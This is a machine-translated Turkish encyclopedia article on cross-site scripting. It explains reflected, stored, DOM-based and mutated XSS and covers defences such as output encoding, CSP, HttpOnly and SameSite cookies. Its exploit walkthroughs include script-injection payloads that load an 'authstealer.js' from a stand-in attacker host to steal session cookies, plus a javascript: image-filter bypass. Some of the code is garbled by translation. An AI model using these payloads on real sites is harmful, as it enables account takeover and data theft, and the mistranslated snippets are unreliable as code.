Siteler arası komut dosyası oluşturma - Cross-site scripting

Siteler arası komut dosyası oluşturma (XSS) bir güvenlik türüdür güvenlik açığı tipik olarak bulunur Web uygulamaları. XSS saldırıları, saldırganların enjekte etmek istemci tarafı komut dosyaları diğer kullanıcılar tarafından görüntülenen web sayfalarına. Siteler arası komut dosyası çalıştırma güvenlik açığı, saldırganlar tarafından atlamak için kullanılabilir erişim kontrolleri benzeri aynı menşe politikası. Siteler arası komut dosyası oluşturma web siteleri tarafından belgelenen tüm güvenlik açıklarının yaklaşık% 84'ünü oluşturdu Symantec 2007'ye kadar.[1] XSS etkileri, savunmasız site tarafından işlenen verilerin hassasiyetine ve site sahibi tarafından uygulanan herhangi bir güvenlik azaltma işleminin doğasına bağlı olarak küçük sıkıntıdan önemli güvenlik riskine kadar değişiklik gösterir. .

Arka fon

Web üzerindeki güvenlik, aynı kökenli politika olarak bilinen temel güven kavramı dahil olmak üzere çeşitli mekanizmalara bağlıdır. Bu, esasen, bir sitedeki içerik (örneğin, https://mybank.example1.com) bir üzerindeki kaynaklara (çerezler vb.) erişim izni verilir. internet tarayıcısı, ardından aynı (1) URI şemasına, (2) ana bilgisayar adına sahip herhangi bir URL'den içerik, ve (3) bağlantı noktası numarası bu izinleri paylaşacaktır. Bu üç özniteliğin herhangi birinin farklı olduğu URL'lerden gelen içeriğe ayrı olarak izin verilmesi gerekecektir.[2]

Siteler arası komut dosyası çalıştırma saldırıları, web tabanlı uygulamalarda, sunucularında veya güvendikleri eklenti sistemlerinde bilinen güvenlik açıklarını kullanır. Bunlardan birini kullanan saldırganlar, kötü niyetli içeriği, güvenliği ihlal edilen siteden gelen içeriğe katlar. Ortaya çıkan birleşik içerik istemci tarafındaki web tarayıcısına ulaştığında, tümü güvenilir kaynaktan teslim edilmiş olur ve bu nedenle o sisteme verilen izinler altında çalışır. Bir saldırgan, kötü amaçlı komut dosyalarını web sayfalarına enjekte etmenin yollarını bularak, hassas sayfa içeriğine, oturum tanımlama bilgilerine ve kullanıcı adına tarayıcı tarafından tutulan çeşitli diğer bilgilere yükseltilmiş erişim ayrıcalıkları elde edebilir. Siteler arası komut dosyası çalıştırma saldırıları, kod yerleştirme.

Microsoft Güvenlik mühendisleri Ocak 2000'de "siteler arası komut dosyası oluşturma" terimini tanıttı.[3] "Siteler arası komut dosyası çalıştırma" ifadesi, başlangıçta saldırıya uğrayan, üçüncü taraf web uygulamasının, ilgisiz bir saldırı sitesinden, bir parçayı yürütecek şekilde yükleme eylemine atıfta bulunmuştur. JavaScript saldırgan tarafından hazırlanan güvenlik bağlamı hedeflenen alanın (bir yansıyan veya kalıcı olmayan XSS güvenlik açığı). Tanım, kalıcı ve JavaScript olmayan vektörler de dahil olmak üzere diğer kod yerleştirme modlarını kapsayacak şekilde kademeli olarak genişledi ( ActiveX, Java, VBScript, Flaş, ya da HTML komut dosyaları), alanına yeni gelenlerde bazı karışıklıklara neden olur bilgi Güvenliği.[4]

XSS güvenlik açıkları 1990'lardan beri rapor edilmekte ve istismar edilmektedir. Geçmişte etkilenen önemli siteler arasında sosyal ağ siteleri yer alır Twitter,[5]Facebook,[6]Benim alanım, Youtube ve Orkut.[7][8] Siteler arası komut dosyası yazım kusurları o zamandan beri aşıldı arabellek taşmaları kamuya bildirilen en yaygın güvenlik açığı haline gelmek,[9] 2007'de bazı araştırmacılar, web sitelerinin% 68'inin muhtemelen XSS saldırılarına açık olduğunu tahmin ediyor.[10]

Türler

Siteler arası betikleme hatalarının tek bir standart sınıflandırması yoktur, ancak çoğu uzman XSS kusurlarının en az iki ana çeşidini birbirinden ayırır: kalıcı olmayan ve kalici. Bazı kaynaklar bu iki grubu ayrıca geleneksel (sunucu tarafındaki kod kusurlarından kaynaklanır) ve DOM tabanlı (istemci tarafı kodunda).

Kalıcı olmayan (yansıtılan)

Kalıcı olmayan bir XSS kusuru örneği
Google'daki kalıcı olmayan XSS güvenlik açıkları, kötü amaçlı sitelerin, oturum açmışken onları ziyaret eden Google kullanıcılarına saldırmasına izin verebilir.[11]

kalıcı olmayan (veya yansıyan) siteler arası komut dosyası çalıştırma güvenlik açığı, açık farkla en temel web güvenlik açığı türüdür.[12] Bu delikler, bir web istemcisi tarafından sağlanan veriler, en yaygın olarak HTTP sorgu parametrelerinde (ör. HTML form gönderimi), sunucu tarafındaki komut dosyaları tarafından o kullanıcı için ve o kullanıcı için bir sonuç sayfasını düzgün bir şekilde ayrıştırmak ve görüntülemek için hemen kullanıldığında ortaya çıkar. sterilize etmek içerik.[13]

HTML belgeleri, kontrol ifadelerini, biçimlendirmeyi ve gerçek içeriği karıştıran düz, seri bir yapıya sahip olduğundan, sonuç sayfasında uygun HTML kodlaması olmadan dahil edilen, kullanıcı tarafından sağlanan doğrulanmamış veriler, işaretleme eklemeye yol açabilir.[12][13] Olası bir vektörün klasik bir örneği, site arama motorudur: Biri bir dize ararsa, arama dizesi, neyin arandığını belirtmek için genellikle sonuç sayfasında aynen yeniden görüntülenir. Bu yanıt düzgün değilse kaçış veya HTML kontrol karakterlerini reddederseniz, siteler arası bir komut dosyası hatası ortaya çıkar.[14]

Yansıyan bir saldırı, genellikle e-posta veya tarafsız bir web sitesi aracılığıyla iletilir. Tuzak, güvenilir bir siteye işaret eden ancak XSS vektörünü içeren masum görünümlü bir URL'dir. Güvenilen site vektöre karşı savunmasızsa, bağlantıya tıklamak kurbanın tarayıcısının enjekte edilen komut dosyasını çalıştırmasına neden olabilir.

Kalıcı (veya depolanmış)

Kalıcı bir XSS kusuru örneği
Israrcı bölgeler arası komut dosyası oluşturma güvenlik açığı bir bilgisayar solucanı rasgele kod yürütülmesine ve dosya sistemi içeriklerinin bir QuickTime filmi aracılığıyla listelenmesine izin verildi Benim alanım.[15]

kalici (veya saklanmış) XSS güvenlik açığı, siteler arası komut dosyası çalıştırma kusurunun daha yıkıcı bir çeşididir: saldırgan tarafından sağlanan veriler sunucu tarafından kaydedildiğinde ve daha sonra, normal göz atma sırasında diğer kullanıcılara döndürülen "normal" sayfalarda kalıcı olarak görüntülendiğinde ortaya çıkar , düzgün HTML kaçışı olmadan. Bunun klasik bir örneği, kullanıcıların diğer kullanıcıların okuyabilmesi için HTML formatlı mesajlar göndermelerine izin verilen çevrimiçi mesaj panolarıdır.[13]

Örneğin, üyelerin ilginç görünüp görünmediklerini görmek için diğer üyelerin profillerini taradıkları bir arkadaşlık sitesi olduğunu varsayalım. Gizlilik nedeniyle, bu site herkesin gerçek adını ve e-posta adresini gizler. Bunlar sunucuda gizli tutulur. Bir üyenin gerçek adı ve e-posta tarayıcıda, üye olduğu zamandır giriş yapıldı ve başkasınınkini göremezler.

Bir saldırgan olan Mallory'nin siteye katıldığını ve sitede gördüğü kişilerin gerçek adlarını öğrenmek istediğini varsayalım. Bunu yapmak için, diğer kullanıcıların tarayıcılarından çalıştırılmak üzere tasarlanmış bir komut dosyası yazar. onlar ziyaret etmek ona profil. Komut dosyası daha sonra bu bilgiyi toplayan kendi sunucusuna hızlı bir mesaj gönderir.

Bunu yapmak için, "İdeal İlk Tarihinizi Tanımlayın" sorusu için, Mallory kısa bir yanıt verir (normal görünmek için) ancak yanıtının sonundaki metin, isimleri ve e-postaları çalmak için yazdığı yazıdır. Komut dosyası bir <script> öğesi, ekranda gösterilmeyecektir. Öyleyse, tanışma sitesinin bir üyesi olan Bob'un, First Date sorusuna cevabını veren Mallory'nin profiline ulaştığını varsayalım. Komut dosyası tarayıcı tarafından otomatik olarak çalıştırılır ve Bob'un gerçek adının ve e-postasının bir kopyasını doğrudan kendi makinesinden çalar.

Kalıcı XSS ​​güvenlik açıkları diğer türlerden daha önemli olabilir çünkü bir saldırganın kötü amaçlı komut dosyası, kurbanları tek tek hedeflemeye veya üçüncü taraf bir web sitesine çekmeye gerek kalmadan otomatik olarak oluşturulur. Özellikle sosyal ağ siteleri söz konusu olduğunda, kod, bir tür müşteri tarafı oluşturarak, hesaplar arasında kendi kendine yayılacak şekilde tasarlanacaktır. solucan.[16]

Enjeksiyon yöntemleri büyük ölçüde değişebilir; bazı durumlarda, saldırganın böyle bir delikten yararlanmak için web işlevselliğinin kendisiyle doğrudan etkileşime girmesi bile gerekmeyebilir. Bir saldırgan tarafından kontrol edilebilen web uygulaması tarafından alınan her türlü veri (e-posta, sistem günlükleri, IM vb. Yoluyla) bir enjeksiyon vektörü haline gelebilir.

Sunucu tarafı ve DOM tabanlı güvenlik açıkları

DOM tabanlı bir XSS kusuruna örnek
Hata çözülmeden önce Bugzilla hata sayfaları şu adrese açıldı: DOM keyfi HTML ve komut dosyalarının zorunlu hata mesajları kullanılarak enjekte edilebildiği XSS saldırıları.[17]

Tarihsel olarak XSS güvenlik açıkları ilk olarak tüm veri işlemlerini sunucu tarafında gerçekleştiren uygulamalarda bulundu. Kullanıcı girişi (bir XSS vektörü dahil) sunucuya gönderilir ve ardından kullanıcıya web sayfası olarak geri gönderilir. Gelişmiş bir kullanıcı deneyimine duyulan ihtiyaç, sunum mantığının büyük bir kısmına sahip olan uygulamaların popülerliğiyle sonuçlandı (belki de JavaScript ) kullanarak sunucudan isteğe bağlı olarak veri çeken istemci tarafında çalışmak AJAX.

JavaScript kodu da kullanıcı girişini işlediği ve web sayfası içeriğinde işlediği için, yansıtılan XSS saldırılarının yeni bir alt sınıfı görünmeye başladı. DOM siteler arası komut dosyası tabanlı. DOM tabanlı bir XSS saldırısında, kötü amaçlı veriler web sunucusuna dokunmaz. Aksine, JavaScript kodu tarafından tamamen istemci tarafında yansıtılır.[18]

DOM tabanlı bir XSS güvenlik açığına örnek olarak, 2011'de bir dizi jQuery eklentiler.[19] DOM tabanlı XSS ​​saldırılarını önleme stratejileri, geleneksel XSS önleme stratejilerine çok benzer önlemler içerir, ancak JavaScript kod ve web sayfalarında bulunur (yani giriş doğrulama ve kaçış).[20] Biraz JavaScript çerçeveleri buna ve diğer saldırı türlerine karşı yerleşik karşı önlemlere sahip olmak - örneğin Angular.js.[21]

Kendinden XSS

Kendinden XSS bir tür XSS güvenlik açığıdır. sosyal mühendislik kurbanı tarayıcısına kötü amaçlı JavaScript kodu çalıştırması için kandırmak için. Teknik olarak gerçek bir XSS güvenlik açığı olmasa da, bir saldırganın bunu yapmasına izin veren etkilenen web sitesindeki bir kusurdan ziyade bir kullanıcının kodu yürütmesi için sosyal mühendislik yapmasına dayandığı için gerçek bir XSS güvenlik açığı olmasına rağmen, yine de normal bir XSS güvenlik açığı ile aynı riskleri teşkil etmektedir uygun şekilde yürütülür.[22]

Mutasyona uğramış XSS (mXSS)

Mutasyona uğramış XSS, saldırgan, görünürde güvenli olan, ancak işaretlemeyi ayrıştırırken tarayıcı tarafından yeniden yazılan ve değiştirilen bir şey enjekte ettiğinde gerçekleşir. Bu, web sitelerinin uygulama mantığı içinde tespit edilmesini veya sterilize edilmesini son derece zorlaştırır.Bir örnek, kapatılmamış tırnak işaretlerini yeniden dengelemek veya hatta CSS yazı tipi ailesine parametrelerdeki alıntılanmamış parametrelere tırnak işaretleri eklemek olabilir.

Exploit örnekleri

Siteler arası komut dosyası çalıştırma güvenlik açıklarından yararlanmak isteyen saldırganlar, her güvenlik açığı sınıfına farklı şekilde yaklaşmalıdır. Her sınıf için belirli bir saldırı vektörü burada açıklanmıştır. Aşağıdaki isimler, teknik terimlerdir. Alice ve Bob karakterleri yaygın olarak bilgisayar güvenliğinde kullanılır.

Browser Exploitation Framework web sitesine ve kullanıcının yerel ortamına saldırmak için kullanılabilir.

Kalıcı olmayan

  1. Alice, genellikle Bob tarafından barındırılan belirli bir web sitesini ziyaret eder. Bob'un web sitesi, Alice'in bir kullanıcı adı / şifre çifti ile oturum açmasına ve fatura bilgileri gibi hassas verileri saklamasına izin verir. Bir kullanıcı oturum açtığında, tarayıcı bazı rastgele karakterlere benzeyen bir Yetkilendirme Çerezi tutar, böylece her iki bilgisayarın da (istemci ve sunucu) oturum açtığına dair bir kaydı olur.
  2. Mallory, Bob'un web sitesinin yansıtılan bir XSS güvenlik açığı içerdiğini gözlemler:
    1. Arama sayfasını ziyaret ettiğinde, arama kutusuna bir arama terimi girer ve gönder düğmesini tıklar. Herhangi bir sonuç bulunamazsa, sayfada aradığı terimi ve ardından "bulunamadı" kelimeleri görüntülenir ve url http://bobssite.org/search?q=her%20search%20term.
    2. Normal bir arama sorgusuyla, örneğin "yavru", sayfa basitçe"yavru bulunamadı "ve url" http://bobssite.org/search? q = yavru köpekler"- bu tamamen normal bir davranış.
    3. Ancak, "gibi anormal bir arama sorgusu gönderdiğinde<senaryo tip="application / javascript">uyarmak('xss');</senaryo>",
      1. Bir uyarı kutusu görünür ("xss" yazan).
      2. Sayfa, 'xss' metniyle birlikte bir hata mesajıyla birlikte "bulunamadı" ifadesini görüntüler.
      3. URL "http://bobssite.org/search? q = alert ('xss'); - sömürülebilir davranış.
  3. Mallory, güvenlik açığından yararlanmak için bir URL oluşturur:
    1. URL'yi yapıyor http://bobssite.org/search? q = puppies . Kodlamayı seçebilirdi ASCII ile karakterler yüzde kodlama, gibi http://bobssite.org/search? q = puppies% 3Cscript% 2520src% 3D% 22http% 3A% 2F% 2Fmallorysevilsite.com% 2Fauthstealer.js% 22% 3E% 3C% 2Fscript% 3E, böylece insan okuyucuların kötü amaçlı URL'yi hemen deşifre edememesi için.[23]
    2. Bob'un sitesinin şüphelenmeyen bazı üyelerine "Sevimli köpek yavrularına bak!" Diyen bir e-posta gönderiyor.
  4. Alice e-postayı alır. Yavru köpekleri sever ve bağlantıya tıklar. Arama yapmak için Bob'un web sitesine gidiyor, hiçbir şey bulamıyor ve "yavru köpek bulunamadı" diyor, ancak tam ortada, komut dosyası etiketi çalışıyor (ekranda görünmez) ve Mallory'nin programı authstealer.js'yi (tetikleme XSS saldırısı). Alice bunu unutur.
  5. Authstealer.js programı, Bob'un web sitesinden geliyormuş gibi Alice'in tarayıcısında çalışır. Alice'in Yetkilendirme Çerezi'nin bir kopyasını alır ve Mallory'nin onu aldığı yer olan Mallory'nin sunucusuna gönderir.
  6. Mallory şimdi Alice'in Yetkilendirme Çerezini kendi tarayıcısına kendisininmiş gibi koyuyor. Daha sonra Bob'un sitesine gider ve şimdi Alice olarak oturum açar.
  7. Şimdi o içeride olduğuna göre, Mallory web sitesinin Faturalandırma bölümüne gider ve Alice'in Kredi Kartı Numarası ve bir kopyasını alır. Sonra gider ve şifresini değiştirir, böylece Alice artık oturum açamaz.
  8. Bunu bir adım daha ileri götürmeye karar verir ve benzer şekilde oluşturulmuş bir bağlantıyı Bob'a gönderir, böylece Bob'un web sitesine yönetici ayrıcalıkları kazanır.

Bu saldırıyı hafifletmek için birkaç şey yapılabilirdi:

  1. Arama girişi olabilirdi sterilize edilmiş uygun kodlama kontrolünü içerir.
  2. Web sunucusu şu şekilde ayarlanabilir: yönlendirme geçersiz istekler.
  3. Web sunucusu eşzamanlı bir oturum açmayı algılayabilir ve oturumları geçersiz kılabilir.
  4. Web sunucusu, iki farklı IP adresinden eşzamanlı oturum açmayı algılayabilir ve oturumları geçersiz kılabilir.
  5. Web sitesi, önceden kullanılan bir kredi kartının yalnızca son birkaç hanesini görüntüleyebiliyordu.
  6. Web sitesi, kayıt bilgilerini değiştirmeden önce kullanıcılardan şifrelerini tekrar girmelerini isteyebilir.
  7. Web sitesi, İçerik Güvenliği Politikası.
  8. Çerezi şununla ayarla: HttpOnly JavaScript'ten erişimi engellemek için işaretleyin.

Kalıcı saldırı

  1. Mallory, Bob'un web sitesinde bir hesap alır.
  2. Mallory, Bob'un web sitesinde depolanmış bir XSS güvenlik açığı bulunduğunu gözlemler: biri Haberler bölümüne gidip bir yorum yayınlarsa, site girileni görüntüleyecektir. Yorum metni HTML etiketleri içeriyorsa, web sayfasının kaynağına eklenecektir; özellikle, sayfa yüklendiğinde herhangi bir komut dosyası etiketi çalışacaktır.
  3. Mallory, Haberler bölümünde bir makale okur ve bir yorum girer:
    Bu hikayedeki yavru köpekleri seviyorum! Çok tatlılar!<script src="http://mallorysevilsite.com/authstealer.js">
  4. Alice (veya başka biri) yorumla birlikte sayfayı yüklediğinde, Mallory'nin komut dosyası etiketi çalışır ve Alice'in yetkilendirme tanımlama bilgisini çalar ve toplanması için Mallory'nin gizli sunucusuna gönderir.[23]
  5. Mallory artık yapabilir Merhaba Jack Alice'in oturumu ve Alice'in kimliğine bürünme.[24][23]

Bob'un web sitesi yazılımının, komut dosyası etiketini çıkarması veya çalışmadığından emin olmak için bir şeyler yapması gerekirdi; güvenlik hatası, yapmamış olmasından kaynaklanıyor.

Önleyici tedbirler

Dize girdisinin bağlamsal çıktı kodlaması / kaçışı

Bağlamsal çıktı kodlama / kaçış, XSS saldırılarını durdurmak için birincil savunma mekanizması olarak kullanılabilir. Güvenilmeyen dizenin bir HTML belgesi içinde nereye yerleştirilmesi gerektiğine bağlı olarak kullanılabilecek, HTML varlık kodlaması, JavaScript kaçış, CSS kaçış ve URL (veya yüzde) kodlaması.[25] Zengin verileri kabul etmesi gerekmeyen çoğu web uygulaması, XSS saldırıları riskini oldukça basit bir şekilde büyük ölçüde ortadan kaldırmak için kaçmayı kullanabilir.

Yaygın olarak önerilmesine rağmen, HTML varlık kodlamasının yalnızca beş XML anlamlı karakter birçok XSS saldırısını önlemek için her zaman yeterli değildir. Kodlama genellikle zor olduğundan, güvenlik kodlama kitaplıklarının kullanımı genellikle daha kolaydır.[25]

Biraz web şablonu sistemleri ürettikleri HTML'nin yapısını anlar ve uygun bir kodlayıcıyı otomatik olarak seçer.[26][27][28]

Güvenilmeyen HTML girişini güvenli bir şekilde doğrulama

Belirli web uygulamalarının birçok operatörü (ör. Forumlar ve web postası), kullanıcıların sınırlı bir HTML biçimlendirme alt kümesini kullanmasına izin verir. Kullanıcılardan HTML girişi kabul ederken (örneğin, çok büyük), çıktı kodlaması (ör. & lt; b & gt; çok & lt; / b & gt; büyük), kullanıcı girdisinin tarayıcı tarafından HTML olarak oluşturulması gerektiğinden yeterli olmayacaktır (bu nedenle "çok büyük "," çok büyük "yerine). Kullanıcılardan HTML girişi kabul edilirken bir XSS saldırısını durdurmak bu durumda çok daha karmaşıktır. Güvenilmeyen HTML girdisi bir HTML temizleme XSS kodu içermediğinden emin olmak için motor.

Çoğu doğrulama, aşağıdakiler gibi belirli "risk altındaki" HTML etiketlerinin ayrıştırılmasına (kara listeye alma) dayanır

<senaryo> <link> <iframe>

Bu yaklaşımla ilgili birkaç sorun vardır, örneğin bazen görünüşte zararsız etiketler dışarıda bırakılabilir ve doğru kullanıldığında yine de bir XSS ile sonuçlanabilir.

(aşağıdaki örneğe bakın)

<img src="javascript: alert (1)">

Diğer bir popüler yöntem, "ve" kullanıcı girişini çıkarmaktır, ancak bu, yük ile gizlenebileceği için atlanabilir. Gizleme (Bunu gör [1] bunun aşırı bir örneği için bağlantı)

Çerez güvenliği

İçerik filtrelemenin yanı sıra, siteler arası komut dosyası azaltma için diğer kusurlu yöntemler de yaygın olarak kullanılmaktadır. Bir örnek, işlem sırasında ek güvenlik kontrollerinin kullanılmasıdır. kurabiye tabanlı kullanıcı kimlik doğrulaması. Birçok web uygulaması, bireysel HTTP istekleri arasındaki kimlik doğrulaması için oturum tanımlama bilgilerine güvenir ve istemci tarafındaki komut dosyaları genellikle bu tanımlama bilgilerine erişime sahip olduğundan, basit XSS açıkları bu tanımlama bilgilerini çalabilir.[29] Bu özel tehdidi azaltmak için (genel olarak XSS sorunu olmasa da), birçok web uygulaması oturum tanımlama bilgilerini ilk oturum açan kullanıcının IP adresine bağlar, ardından yalnızca bu IP'nin bu tanımlama bilgisini kullanmasına izin verir.[30] Bu, çoğu durumda etkilidir (bir saldırgan yalnızca çerezin peşindeyse), ancak bir saldırganın aynı kişinin arkasında olduğu durumlarda açıkça başarısız olur. NATed IP adresi veya web proxy kurban olarak veya kurban değiştirirken mobil IP.[30]

Başka bir hafifletme mevcut Internet Explorer (sürüm 6'dan beri), Firefox (2.0.0.5 sürümünden beri), Safari (sürüm 4'ten beri), Opera (9.5 sürümünden beri) ve Google Chrome, bir HttpOnly Bir web sunucusunun, istemci tarafı komut dosyalarında kullanılamayan bir tanımlama bilgisi ayarlamasına izin veren bayrak. Yararlı olsa da, özellik çerez hırsızlığını tam olarak önleyemez veya tarayıcı içindeki saldırıları önleyemez.[31]

Komut dosyalarını devre dışı bırakma

Süre Web 2.0 ve Ajax geliştiriciler JavaScript kullanımını gerektirir,[32] bazı web uygulamaları, herhangi bir istemci tarafı komut dosyasına ihtiyaç duyulmadan çalışmaya izin verecek şekilde yazılmıştır.[33] Bu, kullanıcıların, isterlerse, uygulamayı kullanmadan önce tarayıcılarında komut dizisini devre dışı bırakmalarına olanak tanır. Bu şekilde, potansiyel olarak kötü niyetli istemci tarafı komut dosyaları bile bir sayfaya kaçılmadan eklenebilir ve kullanıcılar XSS saldırılarına maruz kalmaz.

Bazı tarayıcılar veya tarayıcı eklentileri, etki alanı bazında istemci tarafı komut dosyalarını devre dışı bırakacak şekilde yapılandırılabilir. Yalnızca kötü siteleri engellediğinden, komut dosyası oluşturmaya varsayılan olarak izin veriliyorsa, bu yaklaşım sınırlı değere sahiptir. sonra kullanıcı kötü olduklarını biliyor, bu da çok geç. Varsayılan olarak tüm komut dosyası oluşturma ve harici dahil etme işlemlerini engelleyen ve daha sonra kullanıcının bunu etki alanı bazında etkinleştirmesine izin veren işlevsellik daha etkilidir. Bu, Internet Explorer'da (sürüm 4'ten beri) uzun süredir "Güvenlik Bölgeleri" olarak adlandırılan bölgeleri kurarak mümkün olmuştur.[34] ve Opera'da (sürüm 9'dan beri) "Siteye Özgü Tercihler" kullanılarak.[35] Firefox ve diğerleri için bir çözüm Geko tabanlı tarayıcılar açık kaynaktır NoScript komut dosyalarını etki alanı bazında etkinleştirme yeteneğine ek olarak, komut dosyaları etkinleştirildiğinde bile bazı XSS ​​koruması sağlayan eklenti.[36]

Varsayılan olarak tüm web sitelerindeki tüm komut dosyalarını engellemedeki en önemli sorun, işlevsellik ve yanıt verme hızındaki önemli azalmadır (istemci tarafı komut dosyası, uzak bir sunucuya ve sayfaya veya çerçeveye bağlanması gerekmediği için sunucu tarafı komut dosyasından çok daha hızlı olabilir. yeniden yüklenmesine gerek yoktur).[37] Komut dosyası engellemeyle ilgili diğer bir sorun, birçok kullanıcının bunu anlamaması ve tarayıcılarını nasıl düzgün bir şekilde koruyacaklarını bilmemesidir. Yine bir başka dezavantaj, birçok sitenin istemci tarafı komut dosyası olmadan çalışmaması, kullanıcıları o site için korumayı devre dışı bırakmaya zorlaması ve sistemlerini güvenlik açıklarına açmasıdır.[38] Firefox NoScript uzantısı, kullanıcıların belirli bir sayfadaki komut dosyalarına seçici olarak izin verirken aynı sayfadaki diğerlerine izin vermemesini sağlar. Örneğin, example.com'dan gelen komut dosyalarına izin verilebilirken, aynı sayfada çalıştırılmaya çalışan reklam ajansı.com'daki komut dosyalarına izin verilmeyebilir.[39]

Komut dosyalarını seçerek devre dışı bırakma

İçerik Güvenliği Politikası[40] (CSP), HTML belgelerinin bazı komut dosyalarını devre dışı bırakıp diğerlerini etkin bırakmasına izin verir. Tarayıcı, çalıştırıp çalıştırmayacağına karar vermeden önce her komut dosyasını bir politikaya göre kontrol eder. Politika yalnızca güvenilir komut dosyalarına izin verdiği ve izin vermediği sürece dinamik kod yükleme tarayıcı, HTML belgesinin yapısı ne olursa olsun güvenilmeyen yazarların programlarını çalıştırmaz.

Bu, güvenlik yükünü politika yazarlarına kaydırır. Çalışmalar[41] ana bilgisayar beyaz listeye dayalı politikaların etkinliği konusunda şüphe uyandırdı.

Toplamda, komut dosyası yürütülmesini sınırlamaya çalışan politikaların% 94.68'inin etkisiz olduğunu ve CSP'ye sahip ana bilgisayarların% 99.34'ünün XSS'ye karşı hiçbir fayda sağlamayan politikaları kullandığını gördük.

Modern[42] CSP politikaları kullanıma izin verir nonces[43] Politikayı sayfa içeriğinden tamamen ayrı tutmak yerine HTML belgesindeki komut dosyalarını çalıştırması güvenli olarak işaretlemek için. Güvenilir olmayanlar yalnızca güvenilir komut dosyalarında göründüğü sürece, tarayıcı güvenilmeyen yazarların programlarını çalıştırmayacaktır. Bazı büyük uygulama sağlayıcıları, başarılı bir şekilde nonce-tabanlı politikalar uyguladıklarını bildirmektedir.[44][45]

Gelişen savunma teknolojileri

Popülaritesi müşteri tarafı frameworkler, saldırganların XSS'yi oluşturma şeklini değiştirdi.[46]

Komut dosyası gadget'ları, bir uygulamanın meşru kod tabanı içindeki yasal JavaScript parçalarıdır ... Bu gadget'ların hemen hemen tüm modern JavaScript çerçevelerinde her yerde mevcut olduğunu gösteriyoruz ve üretken kodda komut dosyası gadget'larının yaygınlığını gösteren deneysel bir çalışma sunuyoruz. Sonuç olarak, bugün yazılan web uygulamalarındaki azaltma tekniklerinin çoğunun atlanabileceğini varsayıyoruz.

Güvenilir türler[47] değişiklikler Web API'leri değerlerin olduğunu kontrol etmek için ticari markalı güvenilir olarak. Programlar yalnızca güvenilir değerlerin ticari markası olduğu sürece, JavaScript'i kontrol eden bir saldırgan dize değeri XSS'ye neden olamaz. Güvenilir türler, denetlenebilir tarafından mavi takımlar.

Diğer bir savunma yaklaşımı, web sayfalarında XSS kötü amaçlı kodu kaldıracak otomatik araçlar kullanmaktır. statik analiz ve / veya kötü amaçlı kodları potansiyel olarak tanımlamak ve kaçış gibi yöntemler kullanarak bunları güvence altına almak için desen eşleştirme yöntemleri.[48]

SameSite çerez parametresi

Bir tanımlama bilgisi SameSite = Strict parametresiyle ayarlandığında, tüm çapraz kaynak isteklerinden çıkarılır. SameSite = Lax ile ayarlandığında, "güvenli" olmayan tüm çapraz kaynak isteklerinden (yani, salt okunur anlamlara sahip GET, OPTIONS ve TRACE dışındaki isteklerden) çıkarılır.[49] Özellik, Google Chrome 63 sürümünden beri ve Firefox 60 sürümünden beri.[50]

İlgili güvenlik açıkları

İçinde Evrensel Siteler Arası Komut Dosyası (UXSSveya Evrensel XSS) saldırı, tarayıcının kendisindeki veya tarayıcı eklentilerindeki güvenlik açıklarından yararlanılır (XSS saldırılarında olduğu gibi diğer web sitelerindeki güvenlik açıkları yerine).[51][52]

XSS ile ilgili birkaç güvenlik açığı veya saldırı tekniği vardır: bölgeler arası komut dosyası oluşturma belirli tarayıcılarda "bölge" kavramlarından yararlanır ve genellikle daha büyük bir ayrıcalıkla kodu çalıştırır.[53][54] HTTP başlığı enjeksiyonu HTTP protokol seviyesindeki sorunların kaçması nedeniyle siteler arası komut dosyası çalıştırma koşulları oluşturmak için kullanılabilir (ek olarak, HTTP yanıt bölme ).[55]

Siteler arası istek sahteciliği (CSRF / XSRF), XSS'nin neredeyse tam tersidir, zira saldırgan (ve kötü niyetli sayfası) kullanıcının bir siteye olan güvenini istismar etmek yerine, sitenin istemci yazılımına olan güvenini istismar ederek sitenin bilinçli olduğuna inandığı ve kimliği doğrulanmış kullanıcıların kasıtlı eylemleri.[56] XSS güvenlik açıkları (aynı etki alanında çalışan diğer uygulamalarda bile) saldırganların CSRF önleme çabalarını atlamasına olanak tanır.[57]

Gizli Yönlendirme XSS veya Open Redirect saldırılarına duyarlı üçüncü taraf istemcilerden yararlanır.[58] Normal kimlik avı girişimlerini tespit etmek kolay olabilir, çünkü kötü amaçlı sayfanın URL'si genellikle gerçek sitenin birkaç harfinden farklı olacaktır. Covert Redirection ile farkı, bir saldırganın siteyi kötü niyetli bir oturum açma açılır iletişim kutusu ile bozmak yerine gerçek web sitesini kullanabilmesidir.[59]

Son olarak, SQL enjeksiyonu bir uygulamanın veritabanı katmanındaki bir güvenlik açığından yararlanır. Kullanıcı girdisi yanlış bir şekilde filtrelendiğinde, herhangi bir SQL ifadesi uygulama tarafından yürütülebilir.[60][61]

Bir web tarayıcısının belirli bir sürümünü etkileyen belirli XSS'ler benzersiz olma eğilimindedir. Sonuç olarak, tarayıcı satıcısını ve bir kullanıcının sürümünü parmak izi almak için XSS kullanmak mümkündür.[62]

Ayrıca bakınız

Referanslar

  1. ^ 2007'nin ikinci yarısında, 11.253 siteye özgü siteler arası güvenlik açığı, Symantec tarafından belgelenen 2.134 "geleneksel" güvenlik açığıyla karşılaştırıldığında XSSed tarafından belgelendi. "Symantec Internet Security Tehdit Raporu: Temmuz – Aralık 2007 Trendleri (Yönetici Özeti)" (PDF). XIII. Symantec Corp. Nisan 2008: 1–3. Arşivlenen orijinal (PDF) 25 Haziran 2008. Alındı 11 Mayıs 2008. Alıntı dergisi gerektirir | günlük = (Yardım)
  2. ^ "Aynı Menşe Politikası - Web Güvenliği. W3.org". Alındı 4 Kasım 2014.
  3. ^ MSDN'de "dross" (15 Aralık 2009). "10. Doğum Gününüz Kutlu Olsun Çapraz Site Komut Dosyası!". Alındı 19 Mart, 2016. 16 Ocak 2000'de, küçük bir grup Microsoft güvenlik mühendisi arasında aşağıdaki isimler önerildi ve geri döndü: [...] Ertesi gün fikir birliği vardı - Siteler Arası Komut Dosyası.
  4. ^ Grossman, Jeremiah (30 Temmuz 2006). "Siteler Arası Komut Dosyası Yazmanın (XSS) kökenleri". Alındı 15 Eylül 2008.
  5. ^ Arthur, Charles (21 Eylül 2010). "Sarah Brown da dahil olmak üzere Twitter kullanıcıları, kötü niyetli hacker saldırısı tarafından vuruldu". Gardiyan. Alındı 21 Eylül 2010.
  6. ^ Leyden, John (23 Mayıs 2008). "Facebook, XSS kusuruyla dürttü". Kayıt. Alındı 28 Mayıs 2008.
  7. ^ "Olayların Tam Listesi". Web Uygulama Güvenliği Konsorsiyumu. 17 Şubat 2008. Alındı 28 Mayıs 2008.
  8. ^ Dignan, Larry (21 Nisan 2008). "Obama sitesi hacklendi; Hillary Clinton'a yönlendirildi". ZDNet. Alındı 28 Mayıs 2008.
